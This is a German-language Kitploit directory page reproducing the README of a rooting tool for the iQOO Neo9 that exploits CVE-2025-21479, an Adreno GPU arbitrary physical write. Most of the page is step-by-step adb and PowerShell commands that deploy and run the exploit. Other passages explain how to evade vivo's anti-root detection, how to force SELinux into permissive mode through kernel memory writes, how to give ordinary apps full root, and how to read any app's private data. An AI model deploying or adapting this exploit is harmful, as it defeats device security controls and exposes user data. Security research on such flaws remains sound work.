Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
vivo_iqoo_neo_9_root_research_on_CVE-2025-21479 — iQOO Neo9 (PD2338C) Caps-Root-Tool ohne Unlock** — ein auf CVE-2025-21479 (Adreno GPU SDS) basierendes Verfahren zur Rechteausweitung durch beliebige physische Schreibzugriffe | Kitploit
Tools/GitHubGitHub/reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationReverse EngineeringMobile SicherheitBinary-Exploitation
GitHubreaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

vivo_iqoo_neo_9_root_research_on_CVE-2025-21479

iQOO Neo9 (PD2338C) Caps-Root-Tool ohne Unlock** — ein auf CVE-2025-21479 (Adreno GPU SDS) basierendes Verfahren zur Rechteausweitung durch beliebige physische Schreibzugriffe

Repository anzeigen
3638vor 2 MonatenNoch nicht geprüft

Neo9Root

iQOO Neo9 (PD2338C) Caps-Root-Werkzeug ohne Unlock — Rechteausweitung per Arbitrary Physical Write auf Basis von CVE-2025-21479 (Adreno GPU SDS)

License: MIT Platform Kernel

Kein Bootloader-Unlock, kein Flashen und kein Magisk nötig. Über die GPU-Schwachstelle wird beliebiges physisches Schreiben auf Kernel-Ebene erlangt; nach dem Patchen kritischer Kernel-Funktionen läuft ein dauerhafter Root-Daemon mit vollen Capabilities (41-bit caps), der rootc / su die Root-Fähigkeit bereitstellt.

Kernmerkmal: Die euid bleibt bei 2000, um die vivo-vr.ko-Anti-Root-Erkennung zu umgehen (euid=0 würde einen Geräteneustart auslösen). Die Root-Fähigkeit ist äquivalent zu uid=0, die Prozessidentität bleibt dabei sicher.


✨ Eigenschaften

  • 🔓 Kein BL-Unlock — Bootloader / Partitionen / dm-verity bleiben unangetastet, rein RAM-basiert, nach Neustart wieder sauber
  • 🧬 Echtes Root auf Kernel-Ebene — CapEff: 000001ffffffffff (41 volle Capabilities), keine Tarnung auf Anwendungsebene
  • 🛡️ Umgeht vivo Anti-Root — euid=2000 bleibt erhalten, vr.ko-Erkennung wirkungslos, keine Geräteabstürze
  • ⚙️ Permanenter Daemon — Dateiquelle + Base64-Protokoll, Befehlsausführung ohne Abhängigkeiten, vollständige Ausgabedurchreichung
  • 🔌 Kompatibilitätsschicht — su-Wrapper, direkt von MT Manager / Termux aufrufbar
  • 📦 Keine Persistenz — alle Patches im RAM, nach Neustart automatisch sauberer Zustand

📱 Unterstützte Geräte

AspektWert
GerätiQOO Neo9 (PD2338C)
SystemAndroid 15
Kernel5.15.178-gaacdc35637c4-dirty (GKIv1)
GPUAdreno 740 (A7xx)
SpeicherlayoutKein physisches KASLR (stext_pa=0xa8010000), VA insgesamt geslidet

⚠️ Der Exploit hängt von der konkreten Layout-Zusammensetzung dieses Kernels ab (Symbol-Offsets, VIVO_VMET_BREAK_KMI-Merkmal, vr.ko-Verhalten). Für andere Geräte/Kernel ist eine Neuadaption erforderlich.

🚀 Schnellstart

Systemvoraussetzungen

  • Windows + adb (oder adb auf beliebiger Plattform; die Skripte liegen als PowerShell-Version vor)
  • USB-Debugging am Gerät aktiviert

Ein-Klick-Deployment (empfohlen)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

Das Skript übernimmt automatisch: die drei Komponenten pushen → Neustart für das kalte Fenster → Exploit mehrfach ausführen (Trefferquote ~50 % pro Runde) → Daemon bereit → Verifizieren.

Manuelles Deployment

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Verwendung

rootc — Beliebige Root-Befehle ausführen

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — MT Manager / Termux-Kompatibilität

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Termux-Konfiguration: Beim ersten Einsatz auszuführen (Root-Rechte):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Einstellungen → ROOT → Benutzerdefinierter su-Pfad → /data/local/tmp/su

u0 — Echtes Root (euid=0)

Die rootc/su-Umgebung behält bewusst euid=2000 bei (Schutz vor vr.ko-Anti-Root-Erkennung). Doch die Treiber einiger weniger Kernel-Schnittstellen (z. B. /proc/vrp, einige sysfs-Knoten) prüfen current_euid()==0 — das schaffen auch volle Caps nicht → in diesem Fall lässt sich mit u0 über CAP_SETUID der rootd-Umgebung auf echtes Root anheben:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话
  • In der Praxis sicher: setuid(0) löst kein vr.ko-fatal aus (der rootd-Hauptprozess selbst läuft dauerhaft mit uid=0; Prozesse mit uid=0 stehen nicht auf der Kill-Liste)
  • Bestätigte Einschränkung: /proc/vrp gibt selbst bei uid=0 + vollen Caps weiterhin EPERM zurück (der vrp-Treiber führt eine aktive Berechtigungsprüfung durch, kein DAC/SELinux — Reverse Engineering läuft); insmod löst bei uid=0 ebenfalls einen Geräteneustart aus (die Modullade-Erkennung sieht nicht auf die uid des Aufrufers)
  • Kompilierungsmethode siehe docs\u0_说明.md

Zugriff für normale Benutzer (App / unterhalb der Shell-Berechtigung) auf /data/local/tmp

/data/local/tmp ist standardmäßig drwxrwxrwt (1777, Besitzer: shell) — auf DAC-Ebene kann jeder Benutzer lesen/schreiben. Was normale Benutzer (untrusted_app-Domäne) wirklich blockiert, ist SELinux (die Policy verweigert der App-Domäne den Zugriff auf das shell_data_file-Label):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
  • Apps können rootc ausführen (1777-Verzeichnis + 755-Datei) → normale Benutzer erhalten vollständige Root-Fähigkeiten
  • Einschränkung: Nach einem Neustart ist permissive aufgehoben → der Zugriff normaler Benutzer ist wieder beschränkt (shell_data_file ist nur für die Shell-Domäne zugänglich); nach erneutem Deploy wiederhergestellt
  • Nur Dateien lesen: über su -c "cat /data/local/tmp/xxx > /sdcard/xxx" umleiten (Apps können uneingeschränkt auf /sdcard zugreifen)

Übliche Verifizierung

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 Prinzip

Tool herunterladen